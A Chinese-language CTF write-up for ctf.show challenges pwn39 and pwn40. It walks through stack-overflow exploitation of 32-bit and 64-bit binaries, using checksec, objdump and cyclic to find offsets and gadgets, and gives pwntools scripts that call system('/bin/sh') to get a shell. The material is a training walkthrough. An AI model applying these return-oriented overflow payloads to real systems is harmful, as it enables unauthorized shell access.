pwn39

首先我们还是先将二级制文件托到虚拟机里面查看文件的保护信息。

chmod +x pwn
checksec pwn

文件依然是只开启了栈不可执行，canary和pie都没开。并且该文件是32位的，那我们就托到ida32中反编译一下吧。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  puts(asc_804876C);
  puts(asc_80487E0);
  puts(asc_804885C);
  puts(asc_80488E8);
  puts(asc_8048978);
  puts(asc_80489FC);
  puts(asc_8048A90);
  puts("    * *************************************                           ");
  puts(aClassifyCtfsho);
  puts("    * Type  : Stack_Overflow                                          ");
  puts("    * Site  : https://ctf.show/                                       ");
  puts("    * Hint  : It has system and '/bin/sh',but they don't work together");
  puts("    * *************************************                           ");
  puts("Just easy ret2text&&32bit");
  ctfshow(&argc);
  puts("\nExit");
  return 0;
}

ssize_t ctfshow()
{
  char buf[14]; // [esp+6h] [ebp-12h] BYREF

  return read(0, buf, 0x32u);
}

int hint()
{
  puts("/bin/sh");
  return system("echo 'You find me?'");
}

我们可以看到ctfshow函数中buf数组长度为14，但是需要都进去0x32长度的数据，显然一定会发生栈溢出，但是这次文件没有给我们后门函数，但是却hint函数中给了我们一个system函数和“/bin/sh”的字符串，我们就可以利用这两个，来构造出system(“/bin/sh”)来获取shell，与后门函数的效果是一样的。

编写exp

获得溢出长度

使用gdb中cyclic获得冗余字符，在使用r启动程序，将冗余字符填入程序，程序报错会返回一个地址，再使用cyclic -l命令即可获得溢出长度。



我们可以看到，溢出长度为22。

拿到system函数的地址

我们可以使用objdump命令来获取plt表中各个函数的地址，进而轻松拿到system函数的地址。

objdump -d -j .plt pwn

system函数的地址为：0x080483a0

拿到/bin/sh的地址

/bin/sh的地址我们可以直接再ida中点击/bin/sh然后跳转到data段，可以直接获得它的地址。

/bin/sh的地址为：0x08048750

写exp.py

from pwn import *

io = remote("pwn.challenge.ctf.show", "28273")

offset = 22
system_addr = 0x080483a0
binsh_addr = 0x08048750
# p32(1) 代表是system函数的返回地址，由于不需要返回到某个地方，所以直接使用p32(1)来顶替4个字节 
# 32位传参是栈传参，参数与函数栈帧隔了一个返回地址，且参数在栈帧之下
payload = offset * 'a' + p32(system_addr) + p32(1) + p32(binsh_addr)
io.sendline(payload)
io.interactive()

成功拿到flag。

pwn40

首先还是将pwn文件下载下来，托到虚拟机里查看文件的保护信息。

chmod +x pwn
checksec pwn

可以看到该文件是64位的，并且只开启了栈不可执行，基本跟上道题目一样。那我们就pwn文件托到ida64中反编译一下。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  puts(asc_400828);
  puts(asc_4008A0);
  puts(asc_400920);
  puts(asc_4009B0);
  puts(asc_400A40);
  puts(asc_400AC8);
  puts(asc_400B60);
  puts("    * *************************************                           ");
  puts(aClassifyCtfsho);
  puts("    * Type  : Stack_Overflow                                          ");
  puts("    * Site  : https://ctf.show/                                       ");
  puts("    * Hint  : It has system and '/bin/sh',but they don't work together");
  puts("    * *************************************                           ");
  puts("Just easy ret2text&&64bit");
  ctfshow();
  puts("\nExit");
  return 0;
}

ssize_t ctfshow()
{
  char buf[10]; // [rsp+6h] [rbp-Ah] BYREF

  return read(0, buf, 0x32uLL);
}

int hint()
{
  puts("/bin/sh");
  return system("echo 'You find me?'");
}

这道题基本和上道32位的题目是一模一样的，思路也一样，唯一不同的是我们64位在进行传参时与32位不一样，因为32位是栈传参，而64位是寄存器传参+栈传参，传送的前几个参数一般使用寄存器，把参数传到寄存器中即可，若参数过多，寄存器有限会继续使用栈传参。

具体64位传参方式如下：
当参数少于7个时， 参数从左到右放⼊寄存器: rdi, rsi, rdx, rcx, r8, r9。
当参数为7个以上时， 前 6 个与前⾯⼀样， 但后⾯的依次从 “右向左” 放⼊栈中，和32位汇编⼀样。

那就再简单重复一下这道题的思路吧，通过ctfshow函数计算处buf溢出长度，然后利用栈溢出将ctfshow函数的返回地址修改为system函数的返回地址，然后将/bin/sh参数的地址传入rdi寄存器中即可。

编写exp

计算溢出长度

注意到，buf在栈中的位置是在rbp上面Ah=10长度处，加上rbp本身的所占栈单元的长度8(64位为8，32位为4)，即：0xa + 0x8

拿到system函数的地址

还是使用objdump来查看文件的plt表来找system函数的地址。

objdump -d -j .plt pwn

system函数的地址为：0x0000000000400520

拿到/bin/sh的地址

直接在ida64中点击/bin/sh即可跳转至data段，从而拿到其地址

/bin/sh的地址为：0x0000000000400808

拿到pop rdi；ret的地址

由于需要传参所以我们还需要将参数pop到rdi中，使用ret再继续取栈中我们填入的恶意地址继续控制程序的执行流。
注：ret的作用为：pop eip/rip;

pop rdi;ret 的地址为：0x00000000004007e3
ret的地址为：0x00000000004004fe

ret是为了64位的堆栈平衡，具体堆栈平衡的知识可以看一下两篇文章
https://www.cnblogs.com/ZIKH26/articles/15996874.html
https://blog.csdn.net/hu_c_t_f/article/details/131902515

写exp.py

from pwn import *

io = remote("pwn.challenge.ctf.show", "28103")

offset = 0xa + 0x8
system_addr = 0x0000000000400520
binsh_addr = 0x0000000000400808
ret_addr = 0x00000000004004fe
pop_rdi_addr = 0x00000000004007e3

payload = offset * 'a' + p64(pop_rdi_addr) + p64(binsh_addr) + p64(ret_addr) + p64(system_addr)
io.sendline(payload)
io.interactive()

成功拿到flag。